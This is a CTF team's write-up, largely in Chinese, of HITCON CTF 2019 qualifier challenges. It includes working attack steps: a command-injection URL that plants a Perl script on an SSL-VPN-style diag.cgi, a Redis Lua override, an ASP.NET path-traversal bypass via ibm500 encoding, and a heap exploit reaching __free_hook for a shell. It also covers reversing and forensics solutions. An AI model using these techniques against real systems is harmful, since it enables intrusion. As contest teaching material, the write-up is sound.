10sec HITCON CTF 2019 qual write-up === [TOC] ## Misc / 105 - Revenge of Welcome 一看就知道是 `vim -y` 的 simple mode 直接 `CTRL+L` + `:q!` 然後就噴 Flag 了 一開始發現新題速度不夠+手速不夠快沒拿到首殺... ## Web / 183 - Virtual Public Network ### Solution 根據 Orange 的文章:[Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study!](http://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html),可以利用注入字元 `>` 進行寫檔,並且利用 tcpdump 的 `-r` 參數控制檔案內容,製造合法的 Perl script 執行系統指令。 寫入 Perl script: ``` http://13.231.137.9/cgi-bin/diag.cgi?options=-r+'$x=CGI::param("bbbb"),system$x%23'+2>./tmp/aaaa.thtml+< ``` 寫入的 /tmp/aaaa.thtml 內容: ``` tcpdump: $x=CGI::param("bbbb"),system$x#: No such file or directory ``` 執行系統指令: ``` http://13.231.137.9/cgi-bin/diag.cgi?tpl=aaaa&bbbb=ls -la ``` **flag** ``` $ '/$READ_FLAG$' hitcon{Now I'm sure u saw my Bl4ck H4t p4p3r :P} ``` ## Web / 230 - Luatic https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2019/luatic/luatic.php ``` <?php /* Author: Orange Tsai(@orange_8361) */ include "config.php"; foreach($_REQUEST as $k=>$v) { if( strlen($k) > 0 && preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k) ) exit('Shame on you'); } foreach(Array('_GET','_POST') as $request) { foreach($$request as $k => $v) ${$k} = str_replace(str_split("[]{}=.'\""), "", $v); } if (strlen($token) == 0) highlight_file(__FILE__) and exit(); if (!preg_match('/^[a-f0-9-]{36}$/', $token)) die('Shame on you'); $guess = (int)$guess; if ($guess == 0) die('Shame on you'); // Check team token $status = check_team_redis_status($token); if ($status == "Invalid token") die('Invalid token'); if (strlen($status) == 0 || $status == 'Stopped') die('Start Redis first'); // Get team redis port $port = get_team_redis_port($token); if ((int)$port < 1024) die('Try again'); // Connect, we rename insecure commands // rename-command CONFIG "" // rename-command SCRIPT "" // rename-command MODULE "" // rename-command SLAVEOF "" // rename-command REPLICAOF "" // rename-command SET $MY_SET_COMMAND $redis = new Redis(); $redis->connect("127.0.0.1", $port); if (!$redis->auth($token)) die('Auth fail'); // Check availability $redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE); if ($redis->get($TEST_KEY) !== $TEST_VALUE) die('Something Wrong?'); // Lottery! $LUA_LOTTERY = "math.randomseed(ARGV[1]) for i=0, ARGV[2] do math.random() end return math.random(2^31-1)"; $seed = random_int(0, 0xffffffff / 2); $count = random_int(5, 10); $result = $redis->eval($LUA_LOTTERY, array($seed, $count)); sleep(3); // Slow down... if ((int)$result === $guess) die("Congratulations, the flag is $FLAG"); die(":("); ``` ### Solution 因為第 10 行覆蓋全域變數的程式碼有順序性問題,利用 Query String `?_POST[TEST_VALUE]` 可以先覆蓋 `$_POST` 變數,下次迴圈就可以覆蓋到 `TEST_VALUE` 的值以此繞過第 5 行的黑名單限制。 覆蓋變數後,第 41 行的 `$redis->rawCommand` 即可呼叫 eval 指令在 Redis 中執行任意 lua 腳本。基於 Redis 的特性,兩次執行 eval 都會是同一個上下文,並且 lua 允許覆蓋全域函數,因此可以覆蓋 `math.random` 函數使得永遠回傳固定值。但因為 phpredis 的特性,有些字元 (例如:「.」) 無法使用,恰好在 lua 中 `math:random` 等價於 `math.random`,此字元限制可因此而避開。 **Step 1:** 覆蓋 `math:random` 使其永遠回傳 3 ``` http://54.250.242.183/luatic.php?token=6a5996f3-d88a-433c-9354-badba20cd37f&guess=3&_POST[MY_SET_COMMAND]=eval&_POST[TEST_KEY]=function math:random() return 3 end&_POST[TEST_VALUE]=0 ``` **Step 2:** 輸入 guess=3 即可取得 flag ``` http://54.250.242.183/luatic.php?token=6a5996f3-d88a-433c-9354-badba20cd37f&guess=3 ``` **flag** ``` hitcon{Lua^H Red1s 1s m4g1c!!!} ``` ## Web / 255 - Bounty Pl33z 這題考 close comment 的冷知識,翻一下 ECMAScript 的 spec HTMLCloseComment 追到 SingleLineHTMLCloseComment 會發現他是這樣定義的: LineTerminatorSequence HTMLCloseComment 於是我們再追到 LineTerminatorSequence 看這個是什麼: ``` <LF> <CR>[lookahead ≠ <LF>] <LS> <PS> <CR><LF> ``` 而 `<CR>` `<LF>` 在題目中都被擋了,所以其實我們用 `<LS>` `<PS>` 就可以 bypass 基本上下面兩種 `alert(1)\u2029-->123`、`alert(1)\u2028-->123` 都可以 SingleLineHTMLCloseComment,到這邊基本上就完成這題了 剩下就是 bypass dot 或是直接用 decimal ip 進行 exploit (HITCON 前就知道梗了,一直憋著不能貼 ECMA spec 給隊友們好難受) ## Web / 315- Buggy .Net https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2019/buggy-net/Default.aspx ``` <%@ Page Language="C#" %> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"/> <link rel="stylesheet" type="text/css" href="https://bootswatch.com/4/sketchy/bootstrap.min.css"> <style type="text/css"> .form-control-borderless { border: none; } .form-control-borderless:hover, .form-control-borderless:active, .form-control-borderless:focus { border: none; outline: none; box-shadow: none; } </style> </head> <body> <div class='container'> <br> <br> <div class='row justify-content-center'> <h1><font style="font-size: 200%">Buggy .Net</font></h1> </div> <div class='row justify-content-center'> <i> Here is the source for you: <a href='Default.txt'>Default.txt</a></i> </div> <br> <div class='row justify-content-center'> <div class="col-12 col-md-10 col-lg-12"> <form class="card card-sm" method="POST" action=""> <div class="card-body row no-gutters align-items-center"> <div class="col"> <input class="form-control form-control-lg form-control-borderless" type="text" name="filename" placeholder="filename..."> </div> <div class="col-auto"> <button class="btn btn-lg btn-success" type="submit">Send</button> </div> </div> </form> </div> </div> <br> <br> <div class='row justify-content-center'> <h3><font color='red'><% bool isBad = false; try { if ( Request.Form["filename"] != null ) { isBad = Request.Form["filename"].Contains("..") == true; } } catch (Exception ex) { } try { if (!isBad) { Response.Write(System.IO.File.ReadAllText(@"C:\inetpub\wwwroot\" + Request.Form["filename"])); } } catch (Exception ex) { } %></font></h3> </div> </div> </body> </html> ``` ### Solution flag 存放在 `C:\FLAG.txt`,題目在第 65 行有個任意讀檔,但因為第 57 行會檢查 `..` 字串存在,導致不能直接透過 `..\..\FLAG.txt` 去讀取。但因為 57 行外層有一個 try catch 敘述句捕捉所有 exception,因此只要使該處程式碼拋出任一個 exception 即可繞過檢查。 參考此篇文章:https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/rare-aspnet-request-validation-bypass-using-request-encoding/ 利用 ASP.NET 內建的 Request Validation 機制,只要 Request.Form 中任一參數包含 XSS payload 就會拋出 HttpRequestValidationException。 ASP.NET 會在第一次引用 Request.Form 時才對 Form 參數作 parse 並進行 Validation 檢查,因此直到第 56 行才會拋出 HttpRequestValidationException。 **Step 1:** 產出 Form 參數的 C# 程式碼 ``` Console.WriteLine( System.Web.HttpUtility.UrlEncode(Encoding.GetEncoding("ibm500").GetBytes("gg")) + "=" + System.Web.HttpUtility.UrlEncode(Encoding.GetEncoding("ibm500").GetBytes("<script>")) + "&" + System.Web.HttpUtility.UrlEncode(Encoding.GetEncoding("ibm500").GetBytes("filename")) + "=" + System.Web.HttpUtility.UrlEncode(Encoding.GetEncoding("ibm500").GetBytes("..\\..\\..\\FLAG.txt")) ); ``` **Step 2:** 在 `Content-Type` 加上 `charset=ibm500` 並發送給題目網頁,即可取得 flag ``` $ cat req.txt GET / HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded; charset=ibm500 Content-Length: 90 Connection: close %86%89%93%85%95%81%94%85=KK%e0KK%e0KK%e0%c6%d3%c1%c7K%a3%a7%a3&%87%87=L%a2%83%99%89%97%a3n $ nc 52.197.162.211 80 < req.txt <h3><font color='red'>hitcon{Amazing!!! @irsdl 1s ind33d the .Net KING!!!}</font></h3> ``` 上述 payload 的 HTTP Body 內容等於: ``` gg=<script>&filename=..\..\..\FLAG.txt ``` **flag** ``` hitcon{Amazing!!! @irsdl 1s ind33d the .Net KING!!!} ``` ## Reverse / 187 - EmojiVM [Chinese](https://github.com/10secTW/ctf-writeup/blob/master/2019/HITCON%20CTF/EmojiVM/rev/EmojiVM_zh.md) [English](https://github.com/10secTW/ctf-writeup/blob/master/2019/HITCON%20CTF/EmojiVM/rev/EmojiVM_en.md) ## Misc / 198 - EmojiiVM [Chinese](https://github.com/10secTW/ctf-writeup/blob/master/2019/HITCON%20CTF/EmojiVM/misc/EmojiiVM_zh.md) [English](https://github.com/10secTW/ctf-writeup/blob/master/2019/HITCON%20CTF/EmojiVM/misc/EmojiiVM_en.md) ## Pwn / 236 - EmojiiiVM > Have you ever wrote an "emoji exploit" ? > Well now it's your chance! Pwn the service and get the flag ;) > > nc 3.115.176.164 30262 > > Author: bruce30262 > 39 Teams solved. ### Solution by [@HexRabbit](https://blog.hexrabbit.io/) > You may need check out rev & misc part of this challenge first After reversing the binary, we found that almost every instruction doesn't do the bounding check on stack pointer, for instance: ![](https://i.imgur.com/9YapwkM.png) By using this, we can trigger a stack underflow by executing `OP_AND` before anything got pushed onto the stack. Let's see what is placed before the stack buffer: ![](https://i.imgur.com/myFF7M0.png) Global pointer(GPTR) list contains pointers that is used for dynamic allocation, the instruction `ALLOC`/`FREE` are used to Allocate/Free `GPTR[op]`, and `RDSTRI`/`PRSTRI` are used to Write/Print `GPTR[op]` On allocation (`ALLOC`), VM will first allocate a tiny structure to store metadata, after that, allocate the real storage and store pointer into `buf`. ```cpp struct heap_meta { long len; char *buf; } ``` #### Exploit First we make use of stack underflow to modify pointer on `GPTR` to point to user-controlled `heap_meta` structure to leak libc address, but although we can modify `GPTR` by stack underflow and leak heap pointer with `PRINT` instruction, there's no way to directly write to `GPTR` So we have to do it on stack. Below is part (I stripped the allocation part) of assembly used in exploitation to substitute 640 from `GPTR[9]`, make it point to `GPTR[3]->buf` ``` ADD; ADD; # -1 * 8 * 8 * 10 = -640 PUSH 1; PUSH 0; SUB; PUSH 8; PUSH 8; PUSH 10; MUL; MUL; MUL; ADD; # GPTR[9] == GPTR[3]->buf ``` After libc address leak, with `heap_meta` structure controlled, we can also easily modify `__free_hook` with `RDSTRI` instruction and get shell. ``` POP; # make stack pointer point to &GPTR[8] PRINT; # leak GPTR[8] PUSH 3; RDSTRI; # write p64(8), p64(GPTR[8] - 0x6b0) PUSH 9; PRSTRI; # leak base+0x3ebca0 PUSH 3; RDSTRI; # write p64(8), p64(hook) PUSH 9; RDSTRI; # magic PUSH 2; FREE; ``` flag: `hitcon{H0p3_y0u_Enj0y_pWn1ng_th1S_3m0j1_vM_^_^b}` ## Reverse / 242 - Core Dumb > Damn it my flag checker is so buggy it destroyed the program itself 😱 > All I left is a core dump file :( > Could you help me recover the flag ? Q_Q > > Hint: sha256(flag) == 333fbc11481fca3501fff9f69f8f9c7d95f143272d451a3aea8c0b898379d88d > > core-3c5a47af728e9968fd7a6bb41fbf573cd52677bc 先把加密的 code 透過 xor 解密之後複製到 stack 上面再執行,透過不同的 check function 檢查不同段的 flag 1. xor cipher 2. Feistel cipher 3. base64 with different encode table 4. RC4 with different sbox size 5. CRC32 hash ``` py import re def patch_xor(addr, key, size): print('xoring %x:%d with key %r' % (addr, size, key)) key = bytearray(key) for i in range(size): p = i + addr v = get_byte(p) ^ key[i % len(key)] patch_byte(p, v) matches = re.findall(r'unk_(\w+);', ''' codes[0].content = (BYTE *)&unk_555555756020; codes[1].content = (BYTE *)&unk_555555756140; codes[2].content = (BYTE *)&unk_555555756300; codes[3].content = (BYTE *)&unk_555555756600; codes[4].content = (BYTE *)&unk_555555756A00;''') p32 = lambda x: struct.pack('I', x) codes = [ int(m, 16) for m in matches ] keys = [ p32(get_dword(get_name_ea_simple('Code_keys') + i * 4)) for i in range(5) ] lens = [ get_dword(get_name_ea_simple('Code_lengths') + i * 4) for i in range(5) ] for i in range(5): patch_xor(codes[i], keys[i], lens[i]) ``` ![](https://i.imgur.com/Tli0DeZ.png) ![](https://i.imgur.com/2kCJSW0.png) ![](https://i.imgur.com/J6hXzSK.png) ``` c int __cdecl main(int argc, char **argv) { int result; // eax char **v3; // [rsp+0h] [rbp-150h] signed int i; // [rsp+10h] [rbp-140h] char *p_flag; // [rsp+18h] [rbp-138h] Code codes[6]; // [rsp+20h] [rbp-130h] char flag[64]; // [rsp+80h] [rbp-D0h] char partial_flag[128]; // [rsp+C0h] [rbp-90h] unsigned __int64 stack_canary; // [rsp+148h] [rbp-8h] Code tmp; // 0:di.16 MAPDST v3 = argv; stack_canary = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); codes[1].content = (BYTE *)flag_checker_1; codes[2].content = (BYTE *)flag_checker_2; codes[3].content = (BYTE *)flag_checker_3; codes[4].content = (BYTE *)flag_checker_4; codes[5].content = (BYTE *)flag_checker_5; for ( i = 1; i <= 5; ++i ) { *(_DWORD *)codes[i].key = Code_keys[i - 1]; codes[i].len = Code_lengths[i - 1]; } *(_QWORD *)codes[0].key = __PAIR__(Code_lengths[5], Code_keys[5]); tmp.content = (BYTE *)&pre_check_1337; *(_QWORD *)tmp.key = __PAIR__(Code_lengths[5], Code_keys[5]); if ( (unsigned int)pre_check(tmp) == 0x1337 ) { *(_QWORD *)flag = 0LL; *(_QWORD *)&flag[8] = 0LL; *(_QWORD *)&flag[16] = 0LL; *(_QWORD *)&flag[24] = 0LL; *(_QWORD *)&flag[32] = 0LL; *(_QWORD *)&flag[40] = 0LL; *(_QWORD *)&flag[48] = 0LL; *(_DWORD *)&flag[56] = 0; *(_QWORD *)partial_flag = 0LL; *(_QWORD *)&partial_flag[8] = 0LL; *(_QWORD *)&partial_flag[16] = 0LL; *(_QWORD *)&partial_flag[24] = 0LL; *(_QWORD *)&partial_flag[32] = 0LL; *(_QWORD *)&partial_flag[40] = 0LL; *(_QWORD *)&partial_flag[48] = 0LL; *(_DWORD *)&partial_flag[56] = 0; *(_QWORD *)&partial_flag[64] = 0LL; *(_QWORD *)&partial_flag[72] = 0LL; *(_QWORD *)&partial_flag[80] = 0LL; *(_QWORD *)&partial_flag[88] = 0LL; *(_QWORD *)&partial_flag[96] = 0LL; *(_QWORD *)&partial_flag[104] = 0LL; *(_QWORD *)&partial_flag[112] = 0LL; *(_DWORD *)&partial_flag[120] = 0; p_flag = flag; printf("Please enter the flag: ", v3); read(0, flag, 55uLL); while ( *p_flag ) { if ( *p_flag == '\n' || *p_flag == '\r' ) { *p_flag = 0; break; } ++p_flag; } if ( (unsigned int)strlen(flag) != 52 ) failed(); strncpy(partial_flag, flag, 0xAuLL); tmp = codes[1]; check_flag_1(tmp, (BYTE *)partial_flag, 0xAuLL); bzero(partial_flag, 55LL); strncpy(partial_flag, &flag[10], 8uLL); tmp.content = codes[2].content; *(_QWORD *)tmp.key = *(_QWORD *)codes[2].key; check_flag_2(tmp, (BYTE *)partial_flag); bzero(partial_flag, 55LL); strncpy(partial_flag, &flag[18], 0x12uLL); tmp.content = codes[3].content; *(_QWORD *)tmp.key = *(_QWORD *)codes[3].key; check_flag_1(tmp, (BYTE *)partial_flag, 0x12uLL); bzero(partial_flag, 55LL); strncpy(partial_flag, &flag[36], 0xCuLL); tmp.content = codes[4].content; *(_QWORD *)tmp.key = *(_QWORD *)codes[4].key; check_flag_1(tmp, (BYTE *)partial_flag, 0xCuLL); bzero(partial_flag, 55LL); strncpy(partial_flag, &flag[48], 4uLL); tmp.content = codes[5].content; *(_QWORD *)tmp.key = *(_QWORD *)codes[5].key; check_flag_2(tmp, (BYTE *)partial_flag); printf("Congratz ! The flag is hitcon{%s} :)\n", flag); result = 0; } else { puts("Test failed !"); result = 1; } return result; } ``` ![](https://i.imgur.com/O0FoO1n.png) ![](https://i.imgur.com/VzxrBup.png) ![](https://i.imgur.com/81EsRsL.png) ``` [ 10/16 01:34:27 ] inndy @ WhiteBox ~/crchack (master) $ ./crchack /dev/null 0xd666fed6; echo u_<3 ``` Bonus: ![](https://i.imgur.com/viOgIGR.png) ## Misc / 202 - heXDump >😆 > >nc 13.113.205.160 21700 > >Author: david942j >62 Teams solved. ### solution by @FI 題目是用ruby寫的 連過去會先看到menu ```ruby def menu <<~MENU 1) write 2) read 3) change output mode 0) quit MENU end ``` 我們可以寫,讀,更換輸出模式 不過他一開始就把你限制只能操作在tmp底下的某個檔案 ```ruby @file = '/tmp/' + SecureRandom.hex ``` 寫檔的部分 ```ruby def write puts 'Data? (In hex format)' data = gets return false unless data && !data.empty? && data.size < 0x1000 IO.popen("xxd -r -ps - #{@file}", 'r+') do |f| f.puts data f.close_write end return false unless $CHILD_STATUS.success? true end ``` 輸入hex值並用xxd寫檔 讀檔的部分 ```ruby DEFAULT_MODE = "sha1sum %s | awk '{ print $1 }'" @mode = DEFAULT_MODE def read unless File.exist?(@file) puts 'Write something first plz.' return true end puts output(format(@mode, @file)) true end ``` 他預設是用sha1sum來輸出hash過的檔案 而更換輸出模式 ```ruby def change_mode puts mode_menu @mode = case gets.strip.downcase when 'sha1' then "sha1sum %s | awk '{ print $1 }'" when 'md5' then "md5sum %s | awk '{ print $1 }'" when 'aes' then "openssl enc -aes-256-ecb -in %s -K #{@key} | xxd -ps" else DEFAULT_MODE end end ``` 可以改用md5 或是aes 來輸出 不過最後在main loop裡 ```ruby def main_loop puts menu case gets.to_i when 1 then write when 2 then read when 3 then change_mode when 1337 then secret else false end end ``` 有一個menu裡沒有的隱藏指令 1337 ```ruby def secret FileUtils.cp(FLAG_PATH, @file) true end ``` 他會把flag複製 覆蓋 到目前的檔案 所以我們要如何拿到flag呢 如果了解xxd話就會知道 xxd為了方便你直接做patch 在用reverse dump(-r | -revert)時 他不會覆蓋你的檔案 而是只有複寫你輸入的長度 > -r | -revert > Reverse operation: convert (or patch) hexdump into binary. If not writing to stdout, xxd writes into its output file without truncating it. 實際測試如下 ``` $ echo "666666666666666666" | xxd -r -p - out $ cat out fffffffff $ echo "777777777777" | xxd -r -p - out $ cat out wwwwwwfff ``` 所以我們可以先用1337來複製一份flag 先拿到正確的flag hash 然後再對flag做寫檔 利用輸出hash值 從頭開始一個一個字元迭代出flag my script ```python #!/usr/bin/env python3 from pwn import * import string r = remote('13.113.205.160','21700') def read_menu(): r.recvline() r.recvline() r.recvline() r.recvline() return def check(a): read_menu() r.sendline(b'1') #select write r.recvline() r.sendline(a.encode().hex()) #send check read_menu() r.sendline(b'2') #read hash return r.recvline() read_menu() r.sendline(b'1337') #copy flag read_menu() r.sendline(b'2') #read flag hash fhash = r.recvline() print(fhash) flag = 'hitcon{' alph = string.printable[:-6] while flag[-1] != '}': for a in alph: test = check(flag+a) print(test) if test == fhash: flag += a print("="*40) print(flag) print("="*40) break print(flag+a) r.interactive() ``` `flag = 'hitcon{xxd?XDD!ed45dc4df7d0b79}'` ## Misc / 207 - EV3 Player >Do you hear the robot sing~~ > >https://www.youtube.com/watch?v=J5hUOzusb0E > >Author: Jeffxx >58 Teams solved. ### solution by [@FI](https://github.com/92b2f2) 又是去年出現過的EV3 從他的youtube link可以大概聽到EV3在說話 經過一陣google後 找到一些可能有用的資料 https://www.ev3dev.org/docs/tutorials/using-ev3-speaker/ https://tiebing.blogspot.com/2019/09/lego-ev3-sound-file-rsf-format.html 不過我們還是先strings一下看看封包裡有沒有可以用的資訊 > strings ev3_player-a093689215ca733316ae447edb364512d54bd13e.pklg | less 可以看到裡面有出現許多.rgf .rsf 檔 我們要的是聲音檔所以要找.rsf檔 搜尋一下發現有兩個很可疑的檔案 >../prjs/SD_Card/project/fl.rsf >../prjs/SD_Card/project/ag.rsf 有上次的經驗 這次很快就知道想要的資料大概會在哪裡了 wireshark display filter: ``` btrfcomm ``` 然後 Find a packet ![](https://i.imgur.com/JwAaO9k.png) 在他的下一個從localhost傳的封包的data段裡可以看到 > ...0100xxxx01f40000... ![](https://i.imgur.com/vZucc6i.png) 是.rsf 的header 可以確定接下來一直到長度不同的封包為止 都是在傳輸.rsf 檔 接著把filter 過的封包export 成JSON檔 寫個script 把它們重組拿出來 ```python import json f = '' of = 0 jq=json.loads(open("btout.json","r").read()) for i in jq: if i["_source"]["layers"]["bthci_acl"]["bthci_acl.dst.name"] != "EV3": continue try: data = i["_source"]["layers"]["data"]["data.data"].replace(':','') datalen = i["_source"]["layers"]["data"]["data.len"] if bytes.fromhex(data).find(b'fl.rsf') != -1: f = open("fl.rsf","wb") of = 1 continue if bytes.fromhex(data).find(b'ag.rsf') != -1: f = open("ag.rsf","wb") of = 1 continue if of == 1: f.write(bytes.fromhex(data[14:])) if datalen != "907": of = 0 except: pass ``` 得到兩個檔案 > fl.rsf ag.rsf 安裝 https://www.ev3dev.org/downloads/ 用他的sound editor 聽 得到flag `hitcon{playsoundwithlegomindstormsrobot}` ## Reverse / 221 - EV3 ARM The file provided is a binary that runs on Lego Mindstorms EV3. Using [this website](http://ev3treevis.azurewebsites.net/) to get a list of readable instructions. The Lego Mindstorms EV3 has 4 ports to connect to the motor. If you watch the video closely and compare to the picture provided in the description, you'll see that ports B connects to motor lifting or striking the pen, port A connects to motor for vertical stroke, and port C connects to motor for horizontal movements. Comparing the instructions with the video, it's easy to speculate that `port_motor: B | rotations: 35 | speed: -15` strikes the pen, `port_motor: A | rotations: 720 | speed: -75` creates a stroke about height of `h`, `port_motor: C | rotations: 2 | speed: 70` create a stroke about width of `h`. Everytime a character is written, the pen will reset to the left top corner for the next letter. Trying to manipulate the instructions manually, and you will get the flag. `flag:hitcon{why_not_just_use_the_printer}` Instructions decoded are as follow ``` ev3_arm ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //h ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 180 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 180 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //i ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 90 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 450 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //t ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 4 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //c ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 3.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //o ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 300 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 320 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 400 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ FORK objectid: 3 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 60 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 480 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //n ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 660 | speed: 75 ├─ CommentBlock ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.5 | speed: -70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 300 | speed: -75 ├─ FORK objectid: 5 │ ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.3 | speed: -90 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.3 | speed: 90 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 120 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 300 | speed: -75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 0.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //{ ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ FORK objectid: 7 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2.2 | speed: 35 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //w ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 300 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1.5 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: 75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: 15 //h ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 720 | speed: 75 ├─ Motor.Rotations brake: 1 | port_motor: C | rotations: 1 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: B | rotations: 35 | speed: -15 ├─ FORK objectid: 9 │ └─ Motor.Rotations brake: 1 | port_motor: C | rotations: 2.2 | speed: 70 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 360 | speed: -75 ├─ MediumMotor.Degrees brake: 0 | port_motor: A | rotations: 420 | speed: 75 